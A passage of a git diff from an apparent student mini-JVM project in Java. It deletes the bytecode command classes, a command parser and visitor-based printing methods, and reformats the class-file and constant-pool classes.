-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-
-
-	}
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java
index f2f30f004f..2addebeb39 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.attr;
 
-import me.lzb.jvm.cmd.ByteCodeCommand;
-
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -14,20 +12,13 @@ public class CodeAttr extends AttributeInfo {
     private LocalVariableTable localVarTable;
     private StackMapTable stackMapTable;
 
-
-    private ByteCodeCommand[] cmds;
-
-    public ByteCodeCommand[] getCmds() {
-        return cmds;
-    }
-
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code, ByteCodeCommand[] cmds) {
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
         super(attrNameIndex, attrLen);
         this.maxStack = maxStack;
         this.maxLocals = maxLocals;
         this.codeLen = codeLen;
         this.code = code;
-        this.cmds = cmds;
+        //this.cmds = cmds;
     }
 
 
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java
index cfb4f067e8..224714a010 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java
@@ -18,20 +18,12 @@ public void setFlagValue(int flag) {
         this.flagValue = flag;
     }
 
-    public boolean isPublicClass() {
+    public boolean isPublicClass(){
         return (this.flagValue & 0x0001) != 0;
     }
-
-    public boolean isFinalClass() {
+    public boolean isFinalClass(){
         return (this.flagValue & 0x0010) != 0;
     }
 
-    public String getFlagString(){
-        if (isPublicClass()){
-            return "public";
-        }else {
-            return "not public";
-        }
-    }
 
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java
index 5fd864b8a8..c5de9be5ce 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java
@@ -1,11 +1,8 @@
 package me.lzb.jvm.clz;
 
-import me.lzb.jvm.constant.ClassInfo;
 import me.lzb.jvm.constant.ConstantPool;
 import me.lzb.jvm.field.Field;
 import me.lzb.jvm.method.Method;
-import me.lzb.jvm.print.Print;
-import me.lzb.jvm.print.PrintVisitor;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -13,7 +10,7 @@
 /**
  * Created by LZB on 2017/4/14.
  */
-public class ClassFile implements Print{
+public class ClassFile {
 
     private String magicNumber;
 
@@ -75,6 +72,7 @@ public void setConstantPool(ConstantPool constantPool) {
     }
 
 
+
     public List<Field> getFields() {
         return fields;
     }
@@ -92,6 +90,9 @@ public void setMethods(List<Method> methods) {
     }
 
 
+
+
+
     public ClassIndex getClzIndex() {
         return clzIndex;
     }
@@ -101,62 +102,30 @@ public void setClzIndex(ClassIndex clzIndex) {
     }
 
 
-    public void print() {
+    public void print(){
 
-//        if (this.accessFlag.isPublicClass()) {
-//            System.out.println("Access flag : public  ");
-//        }
-//        System.out.println("Class Name:" + getClassName());
+        if(this.accessFlag.isPublicClass()){
+            System.out.println("Access flag : public  ");
+        }
+//        System.out.println("Class Name:"+ getClassName());
 //
-//        System.out.println("Super Class Name:" + getSuperClassName());
+//        System.out.println("Super Class Name:"+ getSuperClassName());
 
     }
 
-    public String getClassName() {
-        int thisClassIndex = this.clzIndex.getThisClassIndex();
-        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-        return thisClass.getClassName();
-    }
 
-    public String getSuperClassName() {
-        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-        return superClass.getClassName();
-    }
+
 
     public int getConstantPoolCount() {
         return constantPool.getSize();
     }
 
-    public void addField(Field f) {
+    public void addField(Field f){
         this.fields.add(f);
     }
 
-    public void addMethod(Method m) {
+    public void addMethod(Method m){
         this.methods.add(m);
     }
 
-    public Method getMethod(String methodName, String paramAndReturnType) {
-        for (Method m : methods) {
-            int nameIndex = m.getNameIndex();
-            int descIndex = m.getDescriptorIndex();
-
-            String name = this.getConstantPool().getUTF8String(nameIndex);
-            String desc = this.getConstantPool().getUTF8String(descIndex);
-
-            if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
-                return m;
-            }
-        }
-
-        return null;
-    }
-
-    public Method getMainMethod() {
-        return getMethod("main", "([Ljava/lang/String;)V");
-    }
-
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visitBasicMsg(this);
-    }
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/BiPushCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index 83eec1cbc7..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package me.lzb.jvm.cmd;
-
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-public class BiPushCmd extends OneOperandCmd {
-
-    public BiPushCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return this.getOffset() + ": " + this.getOpCode() + " " + this.getReadableCodeText() + " " + this.getOperand();
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/ByteCodeCommand.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index 07e35cb0ce..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,124 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantInfo;
-import me.lzb.jvm.constant.ConstantPool;
-
-import java.util.HashMap;
-import java.util.Map;
-
-
-public abstract class ByteCodeCommand {
-
-    String opCode;
-    ClassFile clzFile;
-    private int offset;
-
-    private static Map<String, String> codeMap = new HashMap<String, String>();
-
-    static {
-        codeMap.put("01", "aconst_null");
-
-        codeMap.put("BB", "new");
-        codeMap.put("37", "lstore");
-        codeMap.put("B7", "invokespecial");
-        codeMap.put("B6", "invokevirtual");
-        codeMap.put("B4", "getfield");
-        codeMap.put("B5", "putfield");
-        codeMap.put("B2", "getstatic");
-
-        codeMap.put("2A", "aload_0");
-        codeMap.put("2B", "aload_1");
-        codeMap.put("2C", "aload_2");
-
-        codeMap.put("10", "bipush");
-        codeMap.put("15", "iload");
-        codeMap.put("1A", "iload_0");
-        codeMap.put("1B", "iload_1");
-        codeMap.put("1C", "iload_2");
-        codeMap.put("1D", "iload_3");
-
-        codeMap.put("25", "fload_3");
-
-        codeMap.put("1E", "lload_0");
-
-        codeMap.put("24", "fload_2");
-        codeMap.put("4C", "astore_1");
-
-        codeMap.put("A2", "if_icmp_ge");
-        codeMap.put("A4", "if_icmple");
-
-        codeMap.put("A7", "goto");
-
-        codeMap.put("B1", "return");
-        codeMap.put("AC", "ireturn");
-        codeMap.put("AE", "freturn");
-
-        codeMap.put("03", "iconst_0");
-        codeMap.put("04", "iconst_1");
-
-        codeMap.put("3C", "istore_1");
-        codeMap.put("3D", "istore_2");
-
-        codeMap.put("59", "dup");
-
-        codeMap.put("60", "iadd");
-        codeMap.put("84", "iinc");
-
-        codeMap.put("12", "ldc");
-    }
-
-
-    protected ByteCodeCommand(ClassFile clzFile, String opCode) {
-        this.clzFile = clzFile;
-        this.opCode = opCode;
-    }
-
-    protected ClassFile getClassFile() {
-        return clzFile;
-    }
-
-    public int getOffset() {
-        return offset;
-    }
-
-    public void setOffset(int offset) {
-        this.offset = offset;
-    }
-
-    protected ConstantInfo getConstantInfo(int index) {
-        return this.getClassFile().getConstantPool().getConstantInfo(index);
-    }
-
-    protected ConstantPool getConstantPool() {
-        return this.getClassFile().getConstantPool();
-    }
-
-
-    public String getOpCode() {
-        return opCode;
-    }
-
-    public abstract int getLength();
-
-
-    public String toString() {
-
-        StringBuffer buffer = new StringBuffer();
-        buffer.append(this.opCode);
-
-        return buffer.toString();
-    }
-
-    public abstract String toString(ConstantPool pool);
-
-    public String getReadableCodeText() {
-        String txt = codeMap.get(opCode);
-        if (txt == null) {
-            return opCode;
-        }
-        return txt;
-    }
-
-    //public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetFieldCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index a5fe80425b..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package me.lzb.jvm.cmd;
-
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-    public GetFieldCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsField(pool);
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetStaticFieldCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 2d4d8d53a6..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-    public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsField(pool);
-    }
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeSpecialCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index 6af68455a0..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-    public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsMethod(pool);
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeVirtualCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index 5d87c07505..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-    public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsMethod(pool);
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/LdcCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/LdcCmd.java
deleted file mode 100644
index a34a64b5b0..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantInfo;
-import me.lzb.jvm.constant.ConstantPool;
-import me.lzb.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-    public LdcCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        ConstantInfo info = (ConstantInfo) pool.getConstantInfo(this.getOperand());
-
-        String value = "TBD";
-        if (info instanceof StringInfo) {
-            StringInfo strInfo = (StringInfo) info;
-            value = strInfo.toString();
-        }
-
-        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
-
-    }
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NewObjectCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index ba7d9df3a7..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd {
-
-    public NewObjectCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsClassInfo(pool);
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NoOperandCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 242f02716a..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand {
-
-    public NoOperandCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText();
-    }
-
-
-    public int getLength() {
-        return 1;
-    }
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/OneOperandCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 00805c5dc7..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-    private int operand;
-
-    public OneOperandCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-
-    }
-
-    public int getOperand() {
-
-        return this.operand;
-    }
-
-    public void setOperand(int oprand1) {
-        this.operand = oprand1;
-
-    }
-
-    public int getLength() {
-        return 2;
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/PutFieldCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index df00e5bb8e..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantPool;
-
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-    public PutFieldCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsField(pool);
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/TwoOperandCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index b87faca257..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package me.lzb.jvm.cmd;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.*;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand {
-
-    int oprand1 = -1;
-    int oprand2 = -1;
-
-    public int getOprand1() {
-        return oprand1;
-    }
-
-    public void setOprand1(int oprand1) {
-        this.oprand1 = oprand1;
-    }
-
-    public void setOprand2(int oprand2) {
-        this.oprand2 = oprand2;
-    }
-
-    public int getOprand2() {
-        return oprand2;
-    }
-
-    public TwoOperandCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    public int getIndex() {
-        int oprand1 = this.getOprand1();
-        int oprand2 = this.getOprand2();
-        int index = oprand1 << 8 | oprand2;
-        return index;
-    }
-
-    protected String getOperandAsClassInfo(ConstantPool pool) {
-        int index = getIndex();
-        String codeTxt = getReadableCodeText();
-        ClassInfo info = (ClassInfo) pool.getConstantInfo(index);
-        return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.getClassName();
-    }
-
-    protected String getOperandAsMethod(ConstantPool pool) {
-        int index = getIndex();
-        String codeTxt = getReadableCodeText();
-        ConstantInfo constInfo = this.getConstantInfo(index);
-        MethodRefInfo info = (MethodRefInfo) this.getConstantInfo(index);
-        return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.toString();
-    }
-
-    protected String getOperandAsField(ConstantPool pool) {
-        int index = getIndex();
-
-        String codeTxt = getReadableCodeText();
-        FieldRefInfo info = (FieldRefInfo) this.getConstantInfo(index);
-        return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.toString();
-    }
-
-    public int getLength() {
-        return 3;
-    }
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java
index 16ea736db1..200e59834a 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/14.
  */
@@ -18,11 +16,6 @@ public int getType() {
         return type;
     }
 
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visitClassInfo(this);
-    }
-
     public int getUtf8Index() {
         return utf8Index;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java
index e1952a7a3e..3bbabf2180 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java
@@ -1,12 +1,9 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.Print;
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/14.
  */
-public abstract class ConstantInfo implements Print {
+public abstract class ConstantInfo {
 
     public static final String MAGIC_NUMBER = "cafebabe";
 
@@ -23,10 +20,11 @@ public abstract class ConstantInfo implements Print {
     public static final int Utf8_info = 1;
 
 
+
     protected ConstantPool constantPool;
 
 
-    public ConstantInfo() {
+    public ConstantInfo(){
 
     }
 
@@ -37,16 +35,10 @@ public ConstantInfo(ConstantPool pool) {
     public ConstantPool getConstantPool() {
         return constantPool;
     }
-
-    public ConstantInfo getConstantInfo(int index) {
+    public ConstantInfo getConstantInfo(int index){
         return this.constantPool.getConstantInfo(index);
     }
 
 
     public abstract int getType();
-
-
-    @Override
-    public abstract void print(PrintVisitor visitor);
-
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java
index 36e77e84d9..0ebab33b39 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -19,11 +17,6 @@ public int getType() {
         return type;
     }
 
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visitFieldRef(this);
-    }
-
     public int getClassInfoIndex() {
         return classInfoIndex;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java
index bd921ccf67..263c185af5 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -20,11 +18,6 @@ public int getType() {
         return type;
     }
 
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visitMethodRef(this);
-    }
-
     public int getClassInfoIndex() {
         return classInfoIndex;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java
index 4cef60cc3f..bdf158ec37 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -20,11 +18,6 @@ public int getType() {
         return type;
     }
 
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visitNameAndType(this);
-    }
-
     public int getIndex1() {
         return index1;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java
index 88b90ca6c1..7f9debba3b 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/14.
  */
@@ -11,9 +9,4 @@ public class NullConstantInfo extends ConstantInfo{
     public int getType() {
         return -1;
     }
-
-    @Override
-    public void print(PrintVisitor visitor) {
-
-    }
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java
index 5d5fc284af..8ba36d8cfc 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -18,11 +16,6 @@ public int getType() {
         return type;
     }
 
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visitString(this);
-    }
-
     public int getIndex() {
         return index;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java
index 9a27b3c716..d3f35c2fd7 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java
@@ -1,7 +1,5 @@
 package me.lzb.jvm.constant;
 
-import me.lzb.jvm.print.PrintVisitor;
-
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -22,11 +20,6 @@ public int getType() {
         return type;
     }
 
-    @Override
-    public void print(PrintVisitor visitor) {
-        visitor.visistUTF8(this);
-    }
-
     public String getValue() {
         return value;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java
index e265907158..bfd3cbc2c0 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java
@@ -208,7 +208,7 @@ private void parserMethod(ClassFile classFile) {
             int attributesCount = nextBytesToInt(2);
 
 
-            Method method = new Method(classFile, accessFlags, nameIndex, descriptorIndex);
+            Method method = new Method(accessFlags, nameIndex, descriptorIndex);
 
 
             for (int j = 1; j <= attributesCount; j++) {
@@ -239,11 +239,7 @@ private void parserCodeAttr(int attributeNameIndex, Method method, ClassFile cla
         int codeLength = nextBytesToInt(4);
 
         String code = nextBytesToString(codeLength);
-
-        //处理cmd
-        CommandParser commandParser = new CommandParser(code);
-
-        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, commandParser.parse(classFile));
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
 
         int exceptionTableLength = nextBytesToInt(2);
         if (exceptionTableLength > 0) {
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/CommandParser.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/CommandParser.java
deleted file mode 100644
index 829b1670c7..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/CommandParser.java
+++ /dev/null
@@ -1,188 +0,0 @@
-package me.lzb.jvm.loader;
-
-import me.lzb.common.utils.StringUtils;
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.cmd.*;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by LZB on 2017/4/22.
- */
-public class CommandParser {
-    public static final String aconst_null = "01";
-    public static final String new_object = "BB";
-    public static final String lstore = "37";
-    public static final String invokespecial = "B7";
-    public static final String invokevirtual = "B6";
-    public static final String getfield = "B4";
-    public static final String putfield = "B5";
-    public static final String getstatic = "B2";
-    public static final String ldc = "12";
-    public static final String dup = "59";
-    public static final String bipush = "10";
-    public static final String aload_0 = "2A";
-    public static final String aload_1 = "2B";
-    public static final String aload_2 = "2C";
-    public static final String iload = "15";
-    public static final String iload_1 = "1B";
-    public static final String iload_2 = "1C";
-    public static final String iload_3 = "1D";
-    public static final String fload_3 = "25";
-
-    public static final String voidreturn = "B1";
-    public static final String ireturn = "AC";
-    public static final String freturn = "AE";
-
-    public static final String astore_1 = "4C";
-    public static final String if_icmp_ge = "A2";
-    public static final String if_icmple = "A4";
-    public static final String goto_no_condition = "A7";
